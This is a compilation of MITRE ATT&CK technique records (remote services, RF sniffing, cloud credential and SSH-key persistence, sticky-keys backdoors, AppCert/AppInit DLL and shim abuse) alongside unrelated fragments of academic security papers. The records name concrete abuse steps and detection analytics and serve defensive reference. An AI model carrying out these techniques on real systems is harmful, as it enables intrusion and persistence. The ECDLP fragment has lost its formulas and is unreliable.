These services are often used to allow operators to interact with systems remotely within the network, some examples are RDP, SMB, SSH, and other similar mechanisms.\n\nRemote services could be used to support remote access, data transmission, authentication, name resolution, and other remote functions. Further, remote services may be necessary to allow operators and administrators to configure systems within the network from their engineering or management workstations. An adversary may use this technique to access devices which may be dual-homed to multiple network segments, and can be used for Program Download or to execute attacks on control devices directly through Valid Accounts.\n\nSpecific remote services (RDP & VNC) may be a precursor to enable Graphical User Interface execution on devices such as HMIs or engineering workstation software.\n\nBased on incident data, CISA and FBI assessed that Chinese state-sponsored actors also compromised various authorized remote access channels, including systems designed to transfer data and/or allow access between corporate and ICS networks.\n\n**Classification.** - Tactics: initial-access, lateral-movement\n- Platforms: Embedded, Windows, Linux, Network Devices\n\n**Mitigations.** - **Software Process and Device Authentication**: Require the authentication of devices and software processes where appropriate. Devices that connect remotely to other systems should require strong authentication to prevent spoofing of communications. Furthermore, software processes should also require authentication when accessing APIs.\n- **Authorization Enforcement**: The device or system should restrict read, manipulate, or execute privileges to only authenticated users who require access based on approved security policies. Role-based Access Control (RBAC) schemes can help reduce the overhead of assigning permissions to the large number of devices within an ICS.

RF communication frequencies vary between 3 kHz to 300 GHz, although are commonly between 300 MHz to 6 GHz. The wavelength and frequency of the signal affect how the signal propagates through open air, obstacles (e.g. walls and trees) and the type of radio required to capture them. These characteristics are often standardized in the protocol and hardware and may have an effect on how the signal is captured. Some examples of wireless protocols that may be found in cyber-physical environments are: WirelessHART, Zigbee, WIA-FA, and 700 MHz Public Safety Spectrum.\n\nAdversaries may capture RF communications by using specialized hardware, such as software defined radio (SDR), handheld radio, or a computer with radio demodulator tuned to the communication frequency. Information transmitted over a wireless medium may be captured in-transit whether the sniffing device is the intended destination or not. This technique may be particularly useful to an adversary when the communications are not encrypted.\n\nIn the 2017 Dallas Siren incident, it is suspected that adversaries likely captured wireless command message broadcasts on a 700 MHz frequency during a regular test of the system. These messages were later replayed to trigger the alarm systems.\n\n**Classification.** - Tactics: discovery, collection\n- Platforms: Embedded, Windows, Linux\n\n**Mitigations.** - **Minimize Wireless Signal Propagation**: Wireless signals frequently propagate outside of organizational boundaries, which provide opportunities for adversaries to monitor or gain unauthorized access to the wireless network. To minimize this threat, organizations should implement measures to detect, understand, and reduce unnecessary RF propagation.\n- **Encrypt Network Traffic**: Utilize strong cryptographic techniques and protocols to prevent eavesdropping on network communications. […]\n\n## Reference: ATT&CK T0888 Remote System Information Discovery\n**ATT&CK T0888 Remote System Information Discovery (full record).** An adversary may attempt to get detailed information about remote systems and their peripherals, such as make/model, role, and configuration. Adversaries may use information from Remote System Information Discovery to aid in targeting and shaping follow-on behaviors. For example, the system's operational role and model information can dictate whether it is a relevant target for the adversary's operational objectives. In addition, the system's configuration may be used to scope subsequent technique usage.\n\nRequests for system information are typically implemented using automation and management protocols and are often automatically requested by vendor software during normal operation. This information may be used to tailor management actions, such as program download and system or module firmware. An adversary may leverage this same information by issuing calls directly to the system's API.\n\n**Classification.** - Tactics: discovery\n- Platforms: Embedded, Windows, Linux, Network Devices\n\n**Mitigations.** - **Static Network Configuration**: Configure hosts and devices to use static network configurations when possible, protocols that require dynamic discovery/addressing (e.g., ARP, DHCP, DNS) can be used to manipulate network message forwarding and enable various AiTM attacks. This mitigation may not always be usable due to limited device features or challenges introduced with different network configurations.\n\n**Detection strategies and analytics.** - **Detection of Remote System Information Discovery**\n - Real-time monitoring identifies remote Windows system-information queries using WMI/CIM, WinRM, PowerShell remoting, or equivalent management tooling where the command names a non-local target and the account/source is outside the approved management baseline.

Modification to controller programs can be accomplished using a Program Download in addition to other types of program modification such as online edit and program append.\n\nProgram modification encompasses the addition and modification of instructions and logic contained in Program Organization Units (POU) and similar programming elements found on controllers. This can include, for example, adding new functions to a controller, modifying the logic in existing functions and making new calls from one function to another.\n\nSome programs may allow an adversary to interact directly with the native API of the controller to take advantage of obscure features or vulnerabilities.\n\n**Classification.** - Tactics: persistence\n- Platforms: Embedded\n\n**Mitigations.** - **Audit**: Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses. Perform periodic integrity checks of the device to validate the correctness of the firmware, software, programs, and configurations. Integrity checks, which typically include cryptographic hashes or digital signatures, should be compared to those obtained at known valid states, especially after events like device reboots, program downloads, or program restarts.\n- **Code Signing**: Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.\n- **Authorization Enforcement**: The device or system should restrict read, manipulate, or execute privileges to only authenticated users who require access based on approved security policies. Role-based Access Control (RBAC) schemes can help reduce the overhead of assigning permissions to the large number of devices within an ICS. For example, IEC 62351 provides examples of roles used to support common system operations within the electric power sector, while IEEE 1686 defines standard permissions for users of IEDs.\n- **Human User Authentication**: Require user authentication before allowing access to data or accepting commands to a device. While strong multi-factor authentication is preferable, it is not always feasible within ICS environments. […]\n\n## Reference: ATT&CK T0890 Exploitation for Privilege Escalation\n**ATT&CK T0890 Exploitation for Privilege Escalation (full record).** Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.\n\nWhen initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.\n\n**Classification.** - Tactics: privilege-escalation\n- Platforms: Embedded, Windows, Linux, Network Devices\n\n**Mitigations.** - **Exploit Protection**: Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.\n- **Application Isolation and Sandboxing**: Restrict the execution of code to a virtual environment on or in-transit to an endpoint system.\n- **Update Software**: Perform regular software updates to mitigate exploitation risk. Software updates may need to be scheduled around operational down times.\n- **Threat Intelligence Program**: A threat intelligence program helps an organization generate their own threat intelligence information and track trends to inform defensive priorities to mitigate risk.\n\n**Detection strategies and analytics.** - **Detection of Exploitation for Privilege Escalation**\n - Real-time monitoring identifies Industrial Control System (ICS) protocol commands succeeding against protected device functions from a source or session context that the device's documented access control model should reject, indicating exploitation of a vulnerability to bypass the device's privilege model.

Due to its broadcast nature, wireless communication is particularly susceptible to eavesdropping. Security and privacy systems have become critical for wireless providers and enterprise networks. The aim of this paper is to study practical secure coding schemes for wireless communication systems.\n\nFig. 1: Wiretap channel model\n\nShannon provided the first truly scientific treatment of secrecy in\n\n[1], where a secret key is considered to protect confidential messages. The ingenuity of his remarkable work lies not only in the method used therein but also in the incisive formulation that Shannon made of the secrecy problem based on information-theoretic concepts. Later, Wyner proposed an alternative approach to secure communication schemes in his seminal paper [2], where he introduced the so-called wiretap channel model. As shown in Fig. 1, the confidential communication via a discrete, memoryless main channel is eavesdropped upon by a wiretapper, who has access to the degraded channel output. Wyner demonstrated that secure communication is possible without sharing a secret key and determined the secrecy capacity for a wiretap channel. Construction of explicit and practical secure encoders and decoders whose performance is as good as promised by Wyner is still an unsolved problem in the general case, except for the binary erasure wiretap channel\n\n[ 3, 4, 5 ].\n\nWe note that channel coding and secrecy coding are closely related. Roughly speaking, the goal of channel coding is to send a message with sufficient redundancy so that it can be understood by the receiver; whereas the goal of secrecy coding is to provide sufficient randomness so that the message can not be understood by anyone else. In modern communication networks, error-correcting codes have traditionally been designed to ensure communication reliability. Various coding techniques have been thoroughly developed and tested for ensuring reliability of virtually all current single-user, point-to-point physical channels. However, only very limited work has considered ways of using error-correcting codes to also ensure security.

Suppose there are points given such that. Determine such that.\n\nIn this article, we explore several related hard problems with a view to expanding the theoretical foundations of the security of ECDLP as a hard problem. Our research is inspired by work of Rachel Shipsey in her thesis [1], relating the ECDLP to elliptic divisibility sequences (EDS). An elliptic divisibility sequence is a recurrence sequence satisfying the relation\n\nWe relate Shipsey’s work to the MOV and Frey-Rück attacks and explain their limitations from the EDS point of view. We also point to a specific avenue for attacking ECDLP by analysing the quadratic residuosity of elliptic divisibility sequences.\n\nThe study of elliptic divisibility sequences was introduced by Morgan Ward [2]. Let denote the -th division polynomial of an elliptic curve over the rationals. The sequence of the form for some fixed point is an elliptic divisibility sequence, and Ward showed that almost all elliptic divisibility sequences arise in this way. This relationship is the basis of our work here.\n\nThe general theory has been developed by Swart [3], Ayad [4], Silverman [5] [6], Everest, McLaren and Thomas Ward [7] and, more recently, generalised to higher rank elliptic nets by Stange [8] [9]. For an overview of research, see [10]. Sections 2 and 3 provide brief background on elliptic divisibility sequences and elliptic nets, more information about which can be found in [8] [9] [11].\n\nThe hard problems for elliptic divisibility sequences we consider are:\n\nProblem 2 (EDS Association)\n\nLet be an elliptic curve over a finite field. Suppose there are points given such that,, and. Determine for such that.\n\nProblem 3 (EDS Residue)\n\nLet be an elliptic curve over a finite field.

In this paper, we refer to an open ad hoc network composed of a set of nodes that are characterized by short membership duration since there is a large number of joining and leaving events. In order to achieve security in ad hoc networks, complementary to intrusion prevention techniques there is a need for reactive mechanisms, such as intrusion detection and response. Intrusion Detection is a mature arsenal for the defense of wired networks, but it is still in its infancy in the area of ad hoc networks. Nevertheless, there are some proposed IDS systems for ad hoc networks. Zhang and Lee [1] proposed the first (high-level) specific for ad hoc networks IDS approach. They proposed a distributed and cooperative anomalybased IDS, which provides an efficient guide for the design of IDS in wireless ad hoc networks. Huang and Lee [2] extended their previous work in a cluster-based IDS, in order to combat the resource constraints that MANET face. Liu et al. [3] proposed a completely distributed anomaly detection approach. They investigated the use of the MAC layer in order to profile normal behavior of mobile nodes and then applied cross-feature analysis on feature vectors constructed from the training data. Furthermore, effective intrusion detection should be combined with an efficient and secure intrusion response. Intrusion response in order to be efficient and secure should be based on security mechanisms such as group key management and agreement. However, most of the proposed key management protocols ([4], [5], [6]) for wired networks can not be applied in an infrastructure-less or resource sensitive environment such as ad hoc networks. In the Octopus protocol [4], four nodes compose a 22 −cube and the rest members of the network are “tentacles” that are connected to one of the central nodes. In a dynamic ad hoc network, it is not easy to maintain such a topology. […]\n\n## Reference: A Reconfigurable Programmable Logic Block for a Multi-Style Asynchronous FPGA resistant to Side-Channel Attacks\n**Introduction.** Side-channel attacks (SCA) have been put forward mainly by Paul Kocher et al. in 1996 in [22]. This first description of a SCA explained how the mere observation of the duration of computations could allow an attacker to retrieve the secret key. The attack was then improved and extended to other cryptosystems [ 38, 6, 12, 49 ].\n\nIn 1999 Kocher et al. described what they called “ dpa\n\n1 1\n\n1\n\nD ifferential\n\nP ower A nalysis. ” [32]. This new attack used the power consumption instead to the duration but yielded the same result: the retrieval of the secret key. The process of this latter attack is relatively simple: a large number of cryptographic operations are monitored and the cipher text stored together with the electric consumption. Then guesses were made of some parts of the secret key, which were confirmed or or not by a statistical processing the data. Other attacks against various cryptosystems were based on this method\n\n[ 5, 42, 18 ].\n\nCountermeasures soon appeared to protect systems based on a strong algebraic structure [ 2, 20, 47, 25 ]. At he protection of opposite symmetric cryptosystems often consisted in introducing some randomization either in the computing process or power consumption to prevent the statistical processing of the acquired data. However “counter-countermeasures” also appeared [19]. Some other protection schemes were designed\n\n[ 26, 10 ].\n\nAn interesting and apparently efficient countermeasure is the WDDL 2 2\n\n2\n\nW ave\n\nD ynamic D ifferential L ogic.\n\n[46] which duplicates each signal in the circuit so that whatever the value is, one of the lines will toggle. This countermeasure was enhanced by an improved routing of related signals\n\n[11], which reduces the differences between the power consumptions of a ’1’ and a ’0’.\n\nAsynchronous circuits, the history of which dates back to 1950, are nowadays increasingly considered as a viable alternative to classical synchronous designs.

These credentials include both x509 keys and passwords. With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.\n\nIn infrastructure-as-a-service (IaaS) environments, after gaining access through Cloud Accounts, adversaries may generate or import their own SSH keys using either the `CreateKeyPair` or `ImportKeyPair` API in AWS or the `gcloud compute os-login ssh-keys add` command in GCP. This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.\n\nAdversaries may also use the `CreateAccessKey` API in AWS or the `gcloud iam service-accounts keys create` command in GCP to add access keys to an account. Alternatively, they may use the `CreateLoginProfile` API in AWS to add a password that can be used to log into the AWS Management Console for Cloud Service Dashboard. If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. Cloud Accounts). For example, in Entra ID environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal’s roles and permissions, which may be different from those of the Application Administrator.\n\nIn AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials to Forge Web Credentials tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account’s API credentials are deactivated.\n\nIn Entra ID environments with the app password feature enabled, adversaries may be able to add an app password to a user account. […]\n\n## Reference: ATT&CK T1098.002 Additional Email Delegate Permissions\n**ATT&CK T1098.002 Additional Email Delegate Permissions (full record).** Adversaries may grant additional permission levels to maintain persistent access to an adversary-controlled email account.\n\nFor example, the `Add-MailboxPermission` PowerShell cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox. In Google Workspace, delegation can be enabled via the Google Admin console and users can delegate accounts via their Gmail settings.\n\nAdversaries may also assign mailbox folder permissions through individual folder permissions or roles. In Office 365 environments, adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user’s mail folders.\n\nThis may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can add Additional Cloud Roles to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: Internal Spearphishing), so the messages evade spam/phishing detection mechanisms.\n\n**Classification.** - Tactics: persistence, privilege-escalation\n- Platforms: Windows, Office Suite\n- Sub-technique of: T1098 Account Manipulation - Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups.\n\n**Mitigations.** - **Privileged Account Management**: Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts). […]\n\n## Reference: ATT&CK T1098.003 Additional Cloud Roles\n**ATT&CK T1098.003 Additional Cloud Roles (full record).** An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments. With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).\n\nThis account modification may immediately follow Create Account or other malicious account activity. Adversaries may also modify existing Valid Accounts that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts.\n\nFor example, in AWS environments, an adversary with appropriate permissions may be able to use the `CreatePolicyVersion` API to define a new version of an IAM policy or the `AttachUserPolicy` API to attach an IAM policy with additional or distinct permissions to a compromised user account.\n\nIn some cases, adversaries may add roles to adversary-controlled accounts outside the victim cloud tenant. This allows these external accounts to perform actions inside the victim tenant without requiring the adversary to Create Account or modify a victim-owned account.\n\n**Classification.** - Tactics: persistence, privilege-escalation\n- Platforms: IaaS, Identity Provider, Office Suite, SaaS\n- Sub-technique of: T1098 Account Manipulation - Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups.\n\n**Mitigations.** - **Privileged Account Management**: Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts). This includes restricting access, limiting the scope of permissions, monitoring privileged account usage, and ensuring accountability through logging and auditing.This mitigation can be implemented through the following measures:\n- **Multi-factor Authentication**: Multi-Factor Authentication (MFA) enhances security by requiring users to provide at least two forms of verification to prove their identity before granting access. […]\n\n## Reference: ATT&CK T1098.004 SSH Authorized Keys\n**ATT&CK T1098.004 SSH Authorized Keys (full record).** Adversaries may modify the SSH `authorized_keys` file to maintain persistence on a victim host. Linux distributions, macOS, and ESXi hypervisors commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The `authorized_keys` file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under `/.ssh/authorized_keys` (or, on ESXi, `/etc/ssh/keys-/authorized_keys`). Users may edit the system’s SSH config file to modify the directives `PubkeyAuthentication` and `RSAAuthentication` to the value `yes` to ensure public key and RSA authentication are enabled, as well as modify the directive `PermitRootLogin` to the value `yes` to enable root authentication via SSH. The SSH config file is usually located under `/etc/ssh/sshd_config`.\n\nAdversaries may modify SSH `authorized_keys` files directly with scripts or shell commands to add their own adversary-supplied public keys. In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API. For example, by using the Google Cloud CLI’s “add-metadata” command an adversary may add SSH keys to a user account. Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API. This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH. It may also lead to privilege escalation where the virtual machine or instance has distinct permissions from the requesting user.\n\nWhere authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user.\n\nSSH keys can also be added to accounts on network devices, such as with the `ip ssh pubkey-chain` Network Device CLI command.

By utilizing a proxy, adversaries hide the true IP address of their C2 server and associated infrastructure from the destination of the network traffic. This masquerades an adversary’s traffic as legitimate traffic originating from the compromised device, which can evade IP-based restrictions and alerts on certain services, such as bank accounts and social media websites.\n\nThe most common type of proxy is a SOCKS proxy. It can typically be implemented using standard OS-level APIs and 3rd party libraries with no indication to the user.

Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable Ingress Tool Transfer by placing it on an Internet accessible web server.\n\nTools may be placed on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure). Tools can also be staged on web services, such as an adversary controlled GitHub repo, or on Platform-as-a-Service offerings that enable users to easily provision applications.\n\nAdversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.\n\n**Classification.** - Tactics: resource-development\n- Platforms: PRE\n- Sub-technique of: T1608 Stage Capabilities - Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting.

SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems. Digital certificates include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner. Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it.\n\nAdversaries may install SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: Asymmetric Cryptography with Web Protocols) or lending credibility to a credential harvesting site. Installation of digital certificates may take place for a number of server types, including web servers and email servers.\n\nAdversaries can obtain digital certificates (see Digital Certificates) or create self-signed certificates (see Digital Certificates). Digital certificates can then be installed on adversary controlled infrastructure that may have been acquired (Acquire Infrastructure) or previously compromised (Compromise Infrastructure).\n\n**Classification.** - Tactics: resource-development\n- Platforms: PRE\n- Sub-technique of: T1608 Stage Capabilities - Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting.

Endpoint systems may be compromised through browsing to adversary controlled sites, as in Drive-by Compromise. In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as Application Access Token. Prior to Drive-by Compromise, adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired (Acquire Infrastructure) or previously compromised (Compromise Infrastructure).\n\nAdversaries may upload or inject malicious web content, such as JavaScript, into websites. This may be done in a number of ways, including:\n\n* Inserting malicious scripts into web pages or other user controllable web content such as forum posts\n* Modifying script files served to websites from publicly writeable cloud storage buckets\n* Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., Malvertising)\n\nIn addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in Gather Victim Host Information) to ensure it is vulnerable prior to attempting exploitation.\n\nWebsites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Drive-by Compromise. […]\n\n## Reference: ATT&CK T1608.005 Link Target\n**ATT&CK T1608.005 Link Target (full record).** Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in Malicious Link. Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in Spearphishing Link) or a phish to gain initial access to a system (as in Spearphishing Link), an adversary must set up the resources for a link target for the spearphishing link.\n\nTypically, the resources for a link target will be an HTML page that may include some client-side script such as JavaScript to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during Spearphishing Link. Adversaries may also Upload Malware and have the link target point to malware for download/execution by the user.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Malicious Link.\n\nLinks can be written by adversaries to mask the true destination in order to deceive victims by abusing the URL schema and increasing the effectiveness of phishing.\n\nAdversaries may also use free or paid accounts on link shortening services and Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked while redirecting victims to malicious pages. In addition, adversaries may serve a variety of malicious links through uniquely generated URIs/URLs (including one-time, single use links). Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.

Search engines typically display results to users based on purchased ads as well as the site’s ranking/score/reputation calculated by their web crawlers and algorithms.\n\nTo help facilitate Drive-by Compromise, adversaries may stage content that explicitly manipulates SEO rankings in order to promote sites hosting their malicious payloads (such as Drive-by Target) within search engines. Poisoning SEO rankings may involve various tricks, such as stuffing keywords (including in the form of hidden text) into compromised sites. These keywords could be related to the interests/browsing habits of the intended victim(s) as well as more broad, seasonably popular topics (e.g. elections, trending news).\n\nIn addition to internet search engines (such as Google), adversaries may also aim to manipulate specific in-site searches for developer platforms (such as GitHub) to deceive users towards Supply Chain Compromise lures. In-site searches will rank search results according to their own algorithms and metrics such as popularity which may be targeted and gamed by malicious actors.\n\nAdversaries may also purchase or plant incoming links to staged capabilities in order to boost the site’s calculated relevance and reputation.\n\nSEO poisoning may also be combined with evasive redirects and other cloaking mechanisms (such as measuring mouse movements or serving content based on browser user agents, user language/localization settings, or HTTP headers) in order to feed SEO inputs while avoiding scrutiny from defenders.\n\n**Classification.** - Tactics: resource-development\n- Platforms: PRE\n- Sub-technique of: T1608 Stage Capabilities - Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting.

It contains functionality to add helper DLLs for extending functionality of the utility. The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at `HKLM\\SOFTWARE\\Microsoft\\Netsh`.\n\nAdversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality.\n\n**Classification.** - Tactics: privilege-escalation, persistence\n- Platforms: Windows\n- Sub-technique of: T1546 Event Triggered Execution - Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.

Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are `C:\\Windows\\System32\\sethc.exe`, launched when the shift key is pressed five times and `C:\\Windows\\System32\\utilman.exe`, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen.\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in `%systemdir%\\`, and it must be protected by Windows File or Resource Protection (WFP/WRP). The Image File Execution Options Injection debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., `C:\\Windows\\System32\\utilman.exe`) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over Remote Desktop Protocol will cause the replaced file to be executed with SYSTEM privileges.

Dynamic-link libraries (DLLs) that are specified in the `AppCertDLLs` Registry key under `HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\` are loaded into every process that calls the ubiquitously used application programming interface (API) functions `CreateProcess`, `CreateProcessAsUser`, `CreateProcessWithLoginW`, `CreateProcessWithTokenW`, or `WinExec`.\n\nSimilar to Process Injection, this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity.\n\n**Classification.** - Tactics: privilege-escalation, persistence\n- Platforms: Windows\n- Sub-technique of: T1546 Event Triggered Execution - Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries.\n\n**Mitigations.** - **Execution Prevention**: Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Detection Strategy for AppCert DLLs Persistence via Registry Injection**\n - Detection of AppCert DLL abuse involves correlating registry modifications to the AppCertDLLs key with subsequent unexpected DLL load behavior during process creation events. Specifically, defenders can observe abnormal DLLs being loaded into standard Windows processes after changes to the 'AppCertDLLs' registry value. Monitoring CreateProcess-family API executions with injected DLLs and linking those DLLs back to recent registry edits is key to identifying misuse. This is often accompanied by elevated privileges and potential lateral movement or discovery behavior.

In practice this is nearly every program, since user32.dll is a very common library.\n\nSimilar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity.\n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled.\n\n**Classification.** - Tactics: privilege-escalation, persistence\n- Platforms: Windows\n- Sub-technique of: T1546 Event Triggered Execution - Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries.\n\n**Mitigations.** - **Execution Prevention**: Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures:\n- **Update Software**: Software updates ensure systems are protected against known vulnerabilities by applying patches and upgrades provided by vendors. Regular updates reduce the attack surface and prevent adversaries from exploiting known security gaps. This includes patching operating systems, applications, drivers, and firmware. […]\n\n## Reference: ATT&CK T1546.011 Application Shimming\n**ATT&CK T1546.011 Application Shimming (full record).** Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.\n\nWithin the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS.\n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* `%WINDIR%\\AppPatch\\sysmain.sdb` and\n* `hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb`\n\nCustom databases are stored in:\n\n* `%WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom` and\n* `hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom`\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to Bypass User Account Control (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).\n\nUtilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. Shims can also be abused to establish persistence by continuously being invoked by affected programs.

